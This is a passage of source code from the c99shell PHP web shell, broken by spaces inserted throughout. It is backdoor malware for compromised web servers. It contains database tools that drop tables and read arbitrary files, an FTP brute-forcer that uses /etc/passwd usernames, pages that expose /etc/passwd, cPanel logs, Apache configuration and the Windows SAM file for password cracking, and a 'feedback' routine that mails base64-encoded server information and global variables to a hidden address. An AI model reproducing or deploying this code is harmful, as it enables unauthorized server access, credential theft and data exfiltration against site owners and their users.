typ e=\"hidden\" name=\"sql_ login\" value=\"".htmlsp ecialchars($sql_login)." \"><input type=\"hidden\ " name=\"sql_passwd\" va lue=\"".htmlspecialchars ($sql_passwd)."\"><input type=\"hidden\" name=\" sql_server\" value=\"".h tmlspecialchars($sql_ser ver)."\"><input type=\"h idden\" name=\"sql_port\ " value=\"".htmlspecialc hars($sql_port)."\"><inp ut type=\"hidden\" name= \"sql_tbl\" value=\"".ht mlspecialchars($sql_tbl) ."\"><input type=\"hidde n\" name=\"sql_order\" v alue=\"".htmlspecialchar s($sql_order)."\"><b>Fro m:</b> <input type= \"text\" name=\"sql_tbl_ ls\" value=\"".$sql_tbl_ ls."\"> <b>To:</b>& nbsp;<input type=\"text\ " name=\"sql_tbl_le\" va lue=\"".$sql_tbl_le."\"> <input type=\"subm it\" value=\"View\"></fo rm>"; echo "<br><f orm method=\"POST\"><TAB LE cellSpacing=0 borderC olorDark=#666666 cellPad ding=5 width=\"1%\" bgCo lor=#333333 borderColorL ight=#c0c0c0 border=1>"; echo "<tr>"; echo "<td><input type= \"checkbox\" name=\"boxr ow_all\" value=\"1\"></t d>"; for ($i=0;$i< mysql_num_fields($result );$i++) { $ v = mysql_field_name($re sult,$i); if ($e[ 0] == "a") {$s = "d"; $m = "asc";} else { $s = "a"; $m = "desc";} echo "<td>"; if (empty($e[0])) {$e [0] = "a";} if ($ e[1] != $v) {echo "<a hr ef=\"".$sql_surl."sql_tb l=".$sql_tbl."&sql_tbl_l e=".$sql_tbl_le."&sql_tb l_ls=".$sql_tbl_ls."&sql _order=".$e[0]."%20".$v. "\"><b>".$v."</b></a>";} else {echo "<b>" .$v."</b><a href=\"".$sq l_surl."sql_tbl=".$sql_t bl."&sql_tbl_le=".$sql_t bl_le."&sql_tbl_ls=".$sq l_tbl_ls."&sql_order=".$ s."%20".$v."\"><img src= \"".$surl."act=img&img=s ort_".$m."\" height=\"9\ " width=\"14\" alt=\"".$ m."\"></a>";} ech o "</td>"; } echo "<td><font color=\ "green\"><b>Action</b></ font></td>"; echo "</tr>"; while ($r ow = mysql_fetch_array($ result, MYSQL_ASSOC)) { echo "<tr>" ; $w = ""; $i = 0; foreach ($row as $k=>$v) {$name = mysql_field_name($resu lt,$i); $w .= " `".$name ."` = '".addslashes($v). "' AND"; $i++;} i f (count($row) > 0) {$w = substr($w,0,strlen($w) -3);} echo "<td>< input type=\"checkbox\" name=\"boxrow[]\" value= \"".$w."\"></td>"; $i = 0; foreach ($row as $k=>$v) { $v = htmlspec ialchars($v); if ($v == "") {$v = "<font color=\"green\">NULL</f ont>";} echo "<t d>".$v."</td>"; $i++; } ec ho "<td>"; echo " <a href=\"".$sql_surl."s ql_act=query&sql_tbl=".u rlencode($sql_tbl)."&sql _tbl_ls=".$sql_tbl_ls."& sql_tbl_le=".$sql_tbl_le ."&sql_query=".urlencode ("DELETE FROM `".$sql_tb l."` WHERE".$w." LIMIT 1 ;")."\"><img src=\"".$su rl."act=img&img=sql_butt on_drop\" alt=\"Delete\" height=\"13\" width=\"1 1\" border=\"0\"></a>&nb sp;"; echo "<a hr ef=\"".$sql_surl."sql_tb l_act=insert&sql_tbl=".u rlencode($sql_tbl)."&sql _tbl_ls=".$sql_tbl_ls."& sql_tbl_le=".$sql_tbl_le ."&sql_tbl_insert_q=".ur lencode($w)."\"><img src =\"".$surl."act=img&img= change\" alt=\"Edit\" he ight=\"14\" width=\"14\" border=\"0\"></a> "; echo "</td>"; echo "</tr>"; } mysql_free_re sult($result); ech o "</table><hr size=\"1\ " noshade><p align=\"lef t\"><img src=\"".$surl." act=img&img=arrow_ltr\" border=\"0\"><select nam e=\"sql_act\">"; e cho "<option value=\"\"> With selected:</option>" ; echo "<option va lue=\"deleterow\">Delete </option>"; echo " </select> <input ty pe=\"submit\" value=\"Co nfirm\"></form></p>"; } } else { $result = mysql_q uery("SHOW TABLE STATUS" , $sql_sock); if (! $result) {echo mysql_sma rterror();} else { echo "<br><fo rm method=\"POST\"><TABL E cellSpacing=0 borderCo lorDark=#666666 cellPadd ing=5 width=\"100%\" bgC olor=#333333 borderColor Light=#c0c0c0 border=1>< tr><td><input type=\"che ckbox\" name=\"boxtbl_al l\" value=\"1\"></td><td ><center><b>Table</b></c enter></td><td><b>Rows</ b></td><td><b>Type</b></ td><td><b>Created</b></t d><td><b>Modified</b></t d><td><b>Size</b></td><t d><b>Action</b></td></tr >"; $i = 0; $tsize = $trows = 0; while ($row = mysql_f etch_array($result, MYSQ L_ASSOC)) { $tsize += $row["Data_le ngth"]; $trows += $row["Rows"]; $s ize = view_size($row["Da ta_length"]); ech o "<tr>"; echo "< td><input type=\"checkbo x\" name=\"boxtbl[]\" va lue=\"".$row["Name"]."\" ></td>"; echo "<t d> <a href=\"".$sql _surl."sql_tbl=".urlenco de($row["Name"])."\"><b> ".$row["Name"]."</b></a> </td>"; ech o "<td>".$row["Rows"]."< /td>"; echo "<td> ".$row["Type"]."</td>"; echo "<td>".$row[ "Create_time"]."</td>"; echo "<td>".$row[ "Update_time"]."</td>"; echo "<td>".$size ."</td>"; echo "< td> <a href=\"".$sq l_surl."sql_act=query&sq l_query=".urlencode("DEL ETE FROM `".$row["Name"] ."`")."\"><img src=\"".$ surl."act=img&img=sql_bu tton_empty\" alt=\"Empty \" height=\"13\" width=\ "11\" border=\"0\"></a>& nbsp; <a href=\"".$ sql_surl."sql_act=query& sql_query=".urlencode("D ROP TABLE `".$row["Name" ]."`")."\"><img src=\"". $surl."act=img&img=sql_b utton_drop\" alt=\"Drop\ " height=\"13\" width=\" 11\" border=\"0\"></a>&n bsp;<a href=\"".$sql_sur l."sql_tbl_act=insert&sq l_tbl=".$row["Name"]."\" ><img src=\"".$surl."act =img&img=sql_button_inse rt\" alt=\"Insert\" heig ht=\"13\" width=\"11\" b order=\"0\"></a> </ td>"; echo "</tr> "; $i++; } echo "<tr bgcolor= \"000000\">"; echo "<td><center><b></b>< /center></td>"; ec ho "<td><center><b>".$i. " table(s)</b></center>< /td>"; echo "<td>< b>".$trows."</b></td>"; echo "<td>".$row[1 ]."</td>"; echo "< td>".$row[10]."</td>"; echo "<td>".$row[11 ]."</td>"; echo "< td><b>".view_size($tsize )."</b></td>"; ech o "<td></td>"; ech o "</tr>"; echo "< /table><hr size=\"1\" no shade><p align=\"right\" ><img src=\"".$surl."act =img&img=arrow_ltr\" bor der=\"0\"><select name=\ "sql_act\">"; echo "<option value=\"\">Wit h selected:</option>"; echo "<option value =\"tbldrop\">Drop</optio n>"; echo "<option value=\"tblempty\">Empt y</option>"; echo "<option value=\"tbldump \">Dump</option>"; echo "<option value=\"t blcheck\">Check table</o ption>"; echo "<op tion value=\"tbloptimize \">Optimize table</optio n>"; echo "<option value=\"tblrepair\">Rep air table</option>"; echo "<option value=\ "tblanalyze\">Analyze ta ble</option>"; ech o "</select> <input type=\"submit\" value=\ "Confirm\"></form></p>"; mysql_free_result ($result); } } } } } else { $acts = array("","ne wdb","serverstatus","ser vervars","processes","ge tfile"); if (in_array ($sql_act,$acts)) {?><ta ble border="0" width="10 0%" height="1"><tr><td w idth="30%" height="1"><b >Create new DB:</b><form action="<?php echo $sur l; ?>"><input type="hidd en" name="act" value="sq l"><input type="hidden" name="sql_act" value="ne wdb"><input type="hidden " name="sql_login" value ="<?php echo htmlspecial chars($sql_login); ?>">< input type="hidden" name ="sql_passwd" value="<?p hp echo htmlspecialchars ($sql_passwd); ?>"><inpu t type="hidden" name="sq l_server" value="<?php e cho htmlspecialchars($sq l_server); ?>"><input ty pe="hidden" name="sql_po rt" value="<?php echo ht mlspecialchars($sql_port ); ?>"><input type="text " name="sql_newdb" size= "20"> <input type=" submit" value="Create">< /form></td><td width="30 %" height="1"><b>View Fi le:</b><form action="<?p hp echo $surl; ?>"><inpu t type="hidden" name="ac t" value="sql"><input ty pe="hidden" name="sql_ac t" value="getfile"><inpu t type="hidden" name="sq l_login" value="<?php ec ho htmlspecialchars($sql _login); ?>"><input type ="hidden" name="sql_pass wd" value="<?php echo ht mlspecialchars($sql_pass wd); ?>"><input type="hi dden" name="sql_server" value="<?php echo htmlsp ecialchars($sql_server); ?>"><input type="hidden " name="sql_port" value= "<?php echo htmlspecialc hars($sql_port); ?>"><in put type="text" name="sq l_getfile" size="30" val ue="<?php echo htmlspeci alchars($sql_getfile); ? >"> <input type="su bmit" value="Get"></form ></td><td width="30%" he ight="1"></td></tr><tr>< td width="30%" height="1 "></td><td width="30%" h eight="1"></td><td width ="30%" height="1"></td>< /tr></table><?php } i f (!empty($sql_act)) { echo "<hr size=\"1 \" noshade>"; if ($s ql_act == "newdb") { echo "<b>"; i f ((mysql_create_db ($sq l_newdb)) and (!empty($s ql_newdb))) {echo "DB \" ".htmlspecialchars($sql_ newdb)."\" has been crea ted with success!</b><br >";} else {echo "Ca n't create DB \"".htmlsp ecialchars($sql_newdb)." \".<br>Reason:</b> ".mys ql_smarterror();} } if ($sql_act == "ser verstatus") { $ result = mysql_query("SH OW STATUS", $sql_sock); echo "<center><b>Se rver-status variables:</ b><br><br>"; echo " <TABLE cellSpacing=0 cel lPadding=0 bgColor=#3333 33 borderColorLight=#333 333 border=1><td><b>Name </b></td><td><b>Value</b ></td></tr>"; while ($row = mysql_fetch_arr ay($result, MYSQL_NUM)) {echo "<tr><td>".$row[0] ."</td><td>".$row[1]."</ td></tr>";} echo "< /table></center>"; mysql_free_result($resul t); } if ($sql_a ct == "servervars") { $result = mysql_q uery("SHOW VARIABLES", $ sql_sock); echo "<c enter><b>Server variable s:</b><br><br>"; ec ho "<TABLE cellSpacing=0 cellPadding=0 bgColor=# 333333 borderColorLight= #333333 border=1><td><b> Name</b></td><td><b>Valu e</b></td></tr>"; w hile ($row = mysql_fetch _array($result, MYSQL_NU M)) {echo "<tr><td>".$ro w[0]."</td><td>".$row[1] ."</td></tr>";} ech o "</table>"; mysql _free_result($result); } if ($sql_act == "processes") { if (!empty($kill)) {$qu ery = "KILL ".$kill.";"; $result = mysql_query($ query, $sql_sock); echo "<b>Killing process #".$ kill."... ok. he is dead , amen.</b>";} $res ult = mysql_query("SHOW PROCESSLIST", $sql_sock) ; echo "<center><b> Processes:</b><br><br>"; echo "<TABLE cellS pacing=0 cellPadding=2 b gColor=#333333 borderCol orLight=#333333 border=1 ><td><b>ID</b></td><td>< b>USER</b></td><td><b>HO ST</b></td><td><b>DB</b> </td><td><b>COMMAND</b>< /td><td><b>TIME</b></td> <td><b>STATE</b></td><td ><b>INFO</b></td><td><b> Action</b></td></tr>"; while ($row = mysql_ fetch_array($result, MYS QL_NUM)) { echo "<tr><td >".$row[0]."</td><td>".$ row[1]."</td><td>".$row[ 2]."</td><td>".$row[3]." </td><td>".$row[4]."</td ><td>".$row[5]."</td><td >".$row[6]."</td><td>".$ row[7]."</td><td><a href =\"".$sql_surl."sql_act= processes&kill=".$row[0] ."\"><u>Kill</u></a></td ></tr>";} echo "</t able>"; mysql_free_ result($result); } if ($sql_act == "getf ile") { $tmpdb = $sql_login."_tmpdb"; $select = mysql_sele ct_db($tmpdb); if ( !$select) {mysql_create_ db($tmpdb); $select = my sql_select_db($tmpdb); $ created = !!$select;} if ($select) { $created = false; mysql_query("CREATE TABLE `tmp_file` ( `Vie wing the file in safe_mo de+open_basedir` LONGBLO B NOT NULL );"); m ysql_query("LOAD DATA IN FILE \"".addslashes($sql _getfile)."\" INTO TABLE tmp_file"); $resu lt = mysql_query("SELECT * FROM tmp_file;"); if (!$result) {echo " <b>Error in reading file (permision denied)!</b> ";} else { for ($i=0;$i<mysql _num_fields($result);$i+ +) {$name = mysql_field_ name($result,$i);} $f = ""; while ($row = mysql_fetch_arra y($result, MYSQL_ASSOC)) {$f .= join ("\r\n",$ro w);} if (empty($f )) {echo "<b>File \"".$s ql_getfile."\" does not exists or empty!</b><br> ";} else {echo "< b>File \"".$sql_getfile. "\":</b><br>".nl2br(html specialchars($f))."<br>" ;} mysql_free_res ult($result); mys ql_query("DROP TABLE tmp _file;"); } } mysql_drop_db($tmp db); //comment it if you want to leave database } } } } echo "</td></tr></table>"; i f ($sql_sock) { $affe cted = @mysql_affected_r ows($sql_sock); if ((! is_numeric($affected)) o r ($affected < 0)){$affe cted = 0;} echo "<tr>< td><center><b>Affected r ows: ".$affected."</cent er></td></tr>"; } echo "</table>"; } if ($act == "mkdir") { if ($mkdi r != $d) { if (file_e xists($mkdir)) {echo "<b >Make Dir \"".htmlspecia lchars($mkdir)."\"</b>: object alredy exists";} elseif (!mkdir($mkdir) ) {echo "<b>Make Dir \"" .htmlspecialchars($mkdir )."\"</b>: access denied ";} echo "<br><br>"; } $act = $dspact = "ls" ; } if ($act == "ftpquic kbrute") { echo "<b>Ftp Quick brute:</b><br>"; if (!win) {echo "This f unctions not work in Win dows!<br><br>";} else { function c99ftpbrute check($host,$port,$timeo ut,$login,$pass,$sh,$fqb _onlywithsh) { if ( $fqb_onlywithsh) {$true = (!in_array($sh,array(" /bin/false","/sbin/nolog in")));} else {$true = true;} if ($true) { $sock = @ftp_con nect($host,$port,$timeou t); if (@ftp_login($ sock,$login,$pass)) { echo "<a href=\"f tp://".$login.":".$pass. "@".$host."\" target=\"_ blank\"><b>Connected to ".$host." with login \"" .$login."\" and password \"".$pass."\"</b></a>.< br>"; ob_flush(); return true; } } } if (!empty($su bmit)) { if (!is_nu meric($fqb_lenght)) {$fq b_lenght = $nixpwdperpag e;} $fp = fopen("/etc /passwd","r"); if (!$ fp) {echo "Can't get /et c/passwd for password-li st.";} else { if ($fqb_logging) { if ($fqb_logfile) { $fqb_logfp = fopen($fqb_ logfile,"w");} else {$fqb_logfp = false;} $fqb_log = "FTP Quic k Brute (called c99shell v. ".$shver.") started at ".date("d.m.Y H:i:s") ."\r\n\r\n"; if ($f qb_logfile) {fwrite($fqb _logfp,$fqb_log,strlen($ fqb_log));} } ob _flush(); $i = $succ ess = 0; $ftpquick_s t = getmicrotime(); while(!feof($fp)) { $str = explode(":", fgets($fp,2048)); i f (c99ftpbrutecheck("loc alhost",21,1,$str[0],$st r[0],$str[6],$fqb_onlywi thsh)) { echo "<b>Connected to ".gete nv("SERVER_NAME")." with login \"".$str[0]."\" a nd password \"".$str[0]. "\"</b><br>"; $fqb _log .= "Connected to ". getenv("SERVER_NAME")." with login \"".$str[0]." \" and password \"".$str [0]."\", at ".date("d.m. Y H:i:s")."\r\n"; if ($fqb_logfp) {fseek($ fqb_logfp,0); fwrite($fq b_logfp,$fqb_log,strlen( $fqb_log));} $succ ess++; ob_flush(); } if ($i > $f qb_lenght) {break;} $i++; } if ($su ccess == 0) {echo "No su ccess. connections!"; $f qb_log .= "No success. c onnections!\r\n";} $ ftpquick_t = round(getmi crotime()-$ftpquick_st,4 ); echo "<hr size=\" 1\" noshade><b>Done!</b> <br>Total time (secs.): ".$ftpquick_t."<br>Total connections: ".$i."<br> Success.: <font color=gr een><b>".$success."</b>< /font><br>Unsuccess.:".( $i-$success)."</b><br>Co nnects per second: ".rou nd($i/$ftpquick_t,2)."<b r>"; $fqb_log .= "\r \n---------------------- --------------------\r\n Done!\r\nTotal time (sec s.): ".$ftpquick_t."\r\n Total connections: ".$i. "\r\nSuccess.: ".$succes s."\r\nUnsuccess.:".($i- $success)."\r\nConnects per second: ".round($i/$ ftpquick_t,2)."\r\n"; if ($fqb_logfp) {fseek ($fqb_logfp,0); fwrite($ fqb_logfp,$fqb_log,strle n($fqb_log));} if ($ fqb_logemail) {@mail($fq b_logemail,"c99shell v. ".$shver." report",$fqb_ log);} fclose($fqb_l ogfp); } } else { $logfile = $tmpdir _logs."c99sh_ftpquickbru te_".date("d.m.Y_H_i_s") .".log"; $logfile = s tr_replace("//",DIRECTOR Y_SEPARATOR,$logfile); echo "<form action=\"" .$surl."\"><input type=h idden name=act value=\"f tpquickbrute\"><br>Read first: <input type=text name=\"fqb_lenght\" valu e=\"".$nixpwdperpage."\" ><br><br>Users only with shell? <input type =\"checkbox\" name=\"fqb _onlywithsh\" value=\"1\ "><br><br>Logging? <input type=\"checkbox\" name=\"fqb_logging\" va lue=\"1\" checked><br>Lo gging to file? <inp ut type=\"text\" name=\" fqb_logfile\" value=\"". $logfile."\" size=\"".(s trlen($logfile)+2*(strle n($logfile)/10))."\"><br >Logging to e-mail?  ;<input type=\"text\" na me=\"fqb_logemail\" valu e=\"".$log_email."\" siz e=\"".(strlen($logemail) +2*(strlen($logemail)/10 ))."\"><br><br><input ty pe=submit name=submit va lue=\"Brute\"></form>"; } } } if ($act == "d" ) { if (!is_dir($d)) {e cho "<center><b>Permisio n denied!</b></center>"; } else { echo "<b>Di rectory information:</b> <table border=0 cellspac ing=1 cellpadding=2>"; if (!$win) { echo "<tr><td><b>Owner/Group< /b></td><td> "; $ow = posix_getpwuid(fileowne r($d)); $gr = posix_g etgrgid(filegroup($d)); $row[] = ($ow["name"] ?$ow["name"]:fileowner($ d))."/".($gr["name"]?$gr ["name"]:filegroup($d)); } echo "<tr><td><b> Perms</b></td><td><a hre f=\"".$surl."act=chmod&d =".urlencode($d)."\"><b> ".view_perms_color($d)." </b></a><tr><td><b>Creat e time</b></td><td> ".da te("d/m/Y H:i:s",filecti me($d))."</td></tr><tr>< td><b>Access time</b></t d><td> ".date("d/m/Y H:i :s",fileatime($d))."</td ></tr><tr><td><b>MODIFY time</b></td><td> ".date ("d/m/Y H:i:s",filemtime ($d))."</td></tr></table ><br>"; } } if ($act == "phpinfo") {@ob_clean() ; phpinfo(); c99shexit() ;} if ($act == "security ") { echo "<center><b>S erver security informati on:</b></center><b>Open base dir: ".$hopenbasedi r."</b><br>"; if (!$win ) { if ($nixpasswd) { if ($nixpasswd == 1) {$nixpasswd = 0;} echo "<b>*nix /etc/passw d:</b><br>"; if (!is_ numeric($nixpwd_s)) {$ni xpwd_s = 0;} if (!is_ numeric($nixpwd_e)) {$ni xpwd_e = $nixpwdperpage; } echo "<form action= \"".$surl."\"><input typ e=hidden name=act value= \"security\"><input type =hidden name=\"nixpasswd \" value=\"1\"><b>From:< /b> <input type=\"t ext=\" name=\"nixpwd_s\" value=\"".$nixpwd_s."\" > <b>To:</b> < input type=\"text\" name =\"nixpwd_e\" value=\"". $nixpwd_e."\"> <inp ut type=submit value=\"V iew\"></form><br>"; $ i = $nixpwd_s; while ($i < $nixpwd_e) { $uid = posix_getpwuid( $i); if ($uid) { $uid["dir"] = "<a href=\"".$surl."act=ls&d =".urlencode($uid["dir"] )."\">".$uid["dir"]."</a >"; echo join(":",$ uid)."<br>"; } $ i++; } } else {ec ho "<br><a href=\"".$sur l."act=security&nixpassw d=1&d=".$ud."\"><b><u>Ge t /etc/passwd</u></b></a ><br>";} } else { $ v = $_SERVER["WINDIR"]." \repair\sam"; if (file _get_contents($v)) {echo "<b><font color=red>You can't crack winnt passw ords(".$v.") </font></b> <br>";} else {echo "<b ><font color=green>You c an crack winnt passwords . <a href=\"".$surl."act =f&f=sam&d=".$_SERVER["W INDIR"]."\\repair&ft=dow nload\"><u><b>Download</ b></u></a>, and use lcp. crack+ .</font></b><br >";} } if (file_get_co ntents("/etc/userdomains ")) {echo "<b><font colo r=green><a href=\"".$sur l."act=f&f=userdomains&d =".urlencode("/etc")."&f t=txt\"><u><b>View cpane l user-domains logs</b>< /u></a></font></b><br>"; } if (file_get_contents ("/var/cpanel/accounting .log")) {echo "<b><font color=green><a href=\"". $surl."act=f&f=accountin g.log&d=".urlencode("/va r/cpanel/")."\"&ft=txt>< u><b>View cpanel logs</b ></u></a></font></b><br> ";} if (file_get_conten ts("/usr/local/apache/co nf/httpd.conf")) {echo " <b><font color=green><a href=\"".$surl."act=f&f= httpd.conf&d=".urlencode ("/usr/local/apache/conf ")."&ft=txt\"><u><b>Apac he configuration (httpd. conf)</b></u></a></font> </b><br>";} if (file_ge t_contents("/etc/httpd.c onf")) {echo "<b><font c olor=green><a href=\"".$ surl."act=f&f=httpd.conf &d=".urlencode("/etc")." &ft=txt\"><u><b>Apache c onfiguration (httpd.conf )</b></u></a></font></b> <br>";} if (file_get_co ntents("/etc/syslog.conf ")) {echo "<b><font colo r=green><a href=\"".$sur l."act=f&f=syslog.conf&d =".urlencode("/etc")."&f t=txt\"><u><b>Syslog con figuration (syslog.conf) </b></u></a></font></b>< br>";} if (file_get_con tents("/etc/motd")) {ech o "<b><font color=green> <a href=\"".$surl."act=f &f=motd&d=".urlencode("/ etc")."&ft=txt\"><u><b>M essage Of The Day</b></u ></a></font></b><br>";} if (file_get_contents(" /etc/hosts")) {echo "<b> <font color=green><a hre f=\"".$surl."act=f&f=hos ts&d=".urlencode("/etc") ."&ft=txt\"><u><b>Hosts< /b></u></a></font></b><b r>";} function displays ecinfo($name,$value) {if (!empty($value)) {if (! empty($name)) {$name = " <b>".$name." - </b>";} e cho $name.nl2br($value). "<br>";}} displaysecinf o("OS Version?",myshelle xec("cat /proc/version") ); displaysecinfo("Kern el version?",myshellexec ("sysctl -a | grep versi on")); displaysecinfo(" Distrib name",myshellexe c("cat /etc/issue.net")) ; displaysecinfo("Distr ib name (2)",myshellexec ("cat /etc/*-realise")); displaysecinfo("CPU?", myshellexec("cat /proc/c puinfo")); displaysecin fo("RAM",myshellexec("fr ee -m")); displaysecinf o("HDD space",myshellexe c("df -h")); displaysec info("List of Attributes ",myshellexec("lsattr -a ")); displaysecinfo("Mo unt options ",myshellexe c("cat /etc/fstab")); d isplaysecinfo("Is cURL i nstalled?",myshellexec(" which curl")); displays ecinfo("Is lynx installe d?",myshellexec("which l ynx")); displaysecinfo( "Is links installed?",my shellexec("which links") ); displaysecinfo("Is f etch installed?",myshell exec("which fetch")); d isplaysecinfo("Is GET in stalled?",myshellexec("w hich GET")); displaysec info("Is perl installed? ",myshellexec("which per l")); displaysecinfo("W here is apache",myshelle xec("whereis apache")); displaysecinfo("Where i s perl?",myshellexec("wh ereis perl")); displays ecinfo("locate proftpd.c onf",myshellexec("locate proftpd.conf")); displ aysecinfo("locate httpd. conf",myshellexec("locat e httpd.conf")); displa ysecinfo("locate my.conf ",myshellexec("locate my .conf")); displaysecinf o("locate psybnc.conf",m yshellexec("locate psybn c.conf")); } if ($act == "mkfile") { if ($mkfil e != $d) { if (file_e xists($mkfile)) {echo "< b>Make File \"".htmlspec ialchars($mkfile)."\"</b >: object alredy exists" ;} elseif (!fopen($mkf ile,"w")) {echo "<b>Make File \"".htmlspecialcha rs($mkfile)."\"</b>: acc ess denied";} else {$a ct = "f"; $d = dirname($ mkfile); if (substr($d,- 1) != DIRECTORY_SEPARATO R) {$d .= DIRECTORY_SEPA RATOR;} $f = basename($m kfile);} } else {$act = $dspact = "ls";} } if ($act == "encoder") { e cho "<script>function se t_encoder_input(text) {d ocument.forms.encoder.in put.value = text;}</scri pt><center><b>Encoder:</ b></center><form name=\" encoder\" action=\"".$su rl."\" method=POST><inpu t type=hidden name=act v alue=encoder><b>Input:</ b><center><textarea name =\"encoder_input\" id=\" input\" cols=50 rows=5>" .@htmlspecialchars($enco der_input)."</textarea>< br><br><input type=submi t value=\"calculate\"><b r><br></center><b>Hashes </b>:<br><center>"; for each(array("md5","crypt" ,"sha1","crc32") as $v) { echo $v." - <input type=text size=50 onFocu s=\"this.select()\" onMo useover=\"this.select()\ " onMouseout=\"this.sele ct()\" value=\"".$v($enc oder_input)."\" readonly ><br>"; } echo "</cent er><b>Url:</b><center><b r>urlencode - <input typ e=text size=35 onFocus=\ "this.select()\" onMouse over=\"this.select()\" o nMouseout=\"this.select( )\" value=\"".urlencode( $encoder_input)."\" read only> <br>urldecode - < input type=text size=35 onFocus=\"this.select()\ " onMouseover=\"this.sel ect()\" onMouseout=\"thi s.select()\" value=\"".h tmlspecialchars(urldecod e($encoder_input))."\" r eadonly> <br></center>< b>Base64:</b><center>bas e64_encode - <input type =text size=35 onFocus=\" this.select()\" onMouseo ver=\"this.select()\" on Mouseout=\"this.select() \" value=\"".base64_enco de($encoder_input)."\" r eadonly></center>"; ech o "<center>base64_decode - "; if (base64_encode (base64_decode($encoder_ input)) != $encoder_inpu t) {echo "<input type=te xt size=35 value=\"faile d\" disabled readonly>"; } else { $debase64 = base64_decode($encoder_ input); $debase64 = st r_replace("\0","[0]",$de base64); $a = explode( "\r\n",$debase64); $ro ws = count($a); $debas e64 = htmlspecialchars($ debase64); if ($rows = = 1) {echo "<input type= text size=35 onFocus=\"t his.select()\" onMouseov er=\"this.select()\" onM ouseout=\"this.select()\ " value=\"".$debase64."\ " id=\"debase64\" readon ly>";} else {$rows++; echo "<textarea cols=\"4 0\" rows=\"".$rows."\" o nFocus=\"this.select()\" onMouseover=\"this.sele ct()\" onMouseout=\"this .select()\" id=\"debase6 4\" readonly>".$debase64 ."</textarea>";} echo " <a href=\"#\" onc lick=\"set_encoder_input (document.forms.encoder. debase64.value)\"><b>^</ b></a>"; } echo "</cen ter><br><b>Base converta tions</b>:<center>dec2he x - <input type=text siz e=35 onFocus=\"this.sele ct()\" onMouseover=\"thi s.select()\" onMouseout= \"this.select()\" value= \""; $c = strlen($encod er_input); for($i=0;$i< $c;$i++) { $hex = dec hex(ord($encoder_input[$ i])); if ($encoder_inp ut[$i] == "&") {echo $en coder_input[$i];} else if ($encoder_input[$i] ! = "\\") {echo "%".$hex;} } echo "\" readonly>< br></center></form>"; } if ($act == "fsbuff") { $arr_copy = $sess_data[ "copy"]; $arr_cut = $se ss_data["cut"]; $arr = array_merge($arr_copy,$a rr_cut); if (count($arr ) == 0) {echo "<center>< b>Buffer is empty!</b></ center>";} else {echo " <b>File-System buffer</b ><br><br>"; $ls_arr = $a rr; $disp_fullpath = tru e; $act = "ls";} } if ($ act == "selfremove") { if (($submit == $rndcode ) and ($submit != "")) { if (unlink(__FILE__) ) {@ob_clean(); echo "Th anks for using c99shell v.".$shver."!"; c99shexi t(); } else {echo "<ce nter><b>Can't delete "._ _FILE__."!</b></center>" ;} } else { if (!em pty($rndcode)) {echo "<b >Error: incorrect confim ation!</b>";} $rnd = r and(0,9).rand(0,9).rand( 0,9); echo "<form acti on=\"".$surl."\"><input type=hidden name=act val ue=selfremove><b>Self-re move: ".__FILE__." <br>< b>Are you sure?<br>For c onfirmation, enter \"".$ rnd."\"</b>: <input type=hidden name=rndcod e value=\"".$rnd."\"><in put type=text name=submi t> <input type=subm it value=\"YES\"></form> "; } } if ($act == "upd ate") {$ret = c99sh_getu pdate(!!$confirmupdate); echo "<b>".$ret."</b>"; if (stristr($ret,"new v ersion")) {echo "<br><br ><input type=button oncl ick=\"location.href='".$ surl."act=update&confirm update=1';\" value=\"Upd ate now\">";}} if ($act == "feedback") { $suppm ail = base64_decode("Yzk 5c2hlbGxAY2N0ZWFtLnJ1"); if (!empty($submit)) { $ticket = substr(md5 (microtime()+rand(1,1000 )),0,6); $body = "c99s hell v.".$shver." feedba ck #".$ticket."\nName: " .htmlspecialchars($fdbk_ name)."\nE-mail: ".htmls pecialchars($fdbk_email) ."\nMessage:\n".htmlspec ialchars($fdbk_body)."\n \nIP: ".$REMOTE_ADDR; if (!empty($fdbk_ref)) { $tmp = @ob_get_con tents(); ob_clean(); phpinfo(); $phpinf o = base64_encode(ob_get _contents()); ob_clea n(); echo $tmp; $b ody .= "\n"."phpinfo(): ".$phpinfo."\n"."\$GLOBA LS=".base64_encode(seria lize($GLOBALS))."\n"; } mail($suppmail,"c99s hell v.".$shver." feedba ck #".$ticket,$body,"FRO M: ".$suppmail); echo "<center><b>Thanks for y our feedback! Your ticke t ID: ".$ticket.".</b></ center>"; } else {echo "<form action=\"".$surl ."\" method=POST><input type=hidden name=act val ue=feedback><b>Feedback or report bug (".str_rep lace(array("@","."),arra y("[at]","[dot]"),$suppm ail)."):<br><br>Your nam e: <input type=\"text\" name=\"fdbk_name\" value =\"".htmlspecialchars($f dbk_name)."\"><br><br>Yo ur e-mail: <input type=\ "text\" name=\"fdbk_emai l\" value=\"".htmlspecia lchars($fdbk_email)."\"> <br><br>Message:<br><tex tarea name=\"fdbk_body\" cols=80 rows=10>".htmls pecialchars($fdbk_body). "</textarea><input type= \"hidden\" name=\"fdbk_r ef\" value=\"".urlencode ($HTTP_REFERER)."\"><br> <br>Attach server-info * <input type=\"checkbox\ " name=\"fdbk_servinf\" value=\"1\" checked><br> <br>There are no checkin g in the form.<br><br>* - strongly recommended, if you report bug, becau se we need it for bug-fi x.<br><br>We understand languages: English, Russ ian.<br><br><input type= \"submit\" name=\"submit \" value=\"Send\"></form >";} } if ($act == "sear ch") { echo "<b>Search in file-system:</b><br>" ; if (empty($search_in) ) {$search_in = $d;} if (empty($search_name)) { $search_name = "(.*)"; $ search_name_regexp = 1;} if (empty($search_text _wwo)) {$search_text_reg exp = 0;} if (!empty($s ubmit)) { $found = ar ray(); $found_d = 0; $found_f = 0; $search _i_f = 0; $search_i_d = 0; $a = array ( "name"=>$search_name, " name_regexp"=>$search_na me_regexp, "text"=>$s earch_text, "text_regexp "=>$search_text_regxp, "text_wwo"=>$search_te xt_wwo, "text_cs"=>$s earch_text_cs, "text_ not"=>$search_text_not ); $searchtime = getm icrotime(); $in = arra y_unique(explode(";",$se arch_in)); foreach($in as $v) {c99fsearch($v); } $searchtime = round( getmicrotime()-$searchti me,4); if (count($foun d) == 0) {echo "<b>No fi les found!</b>";} else { $ls_arr = $found ; $disp_fullpath = tr ue; $act = "ls"; } } echo "<form method=P OST> <input type=hidden name=\"d\" value=\"".$di spd."\"><input type=hidd en name=act value=\"".$d spact."\"> <b>Search for (file/folder name): </b ><input type=\"text\" na me=\"search_name\" size= \"".round(strlen($search _name)+25)."\" value=\"" .htmlspecialchars($searc h_name)."\"> <input type=\"checkbox\" name= \"search_name_regexp\" v alue=\"1\" ".($search_na me_regexp == 1?" checked ":"")."> - regexp <br><b >Search in (explode \";\ "): </b><input type=\"te xt\" 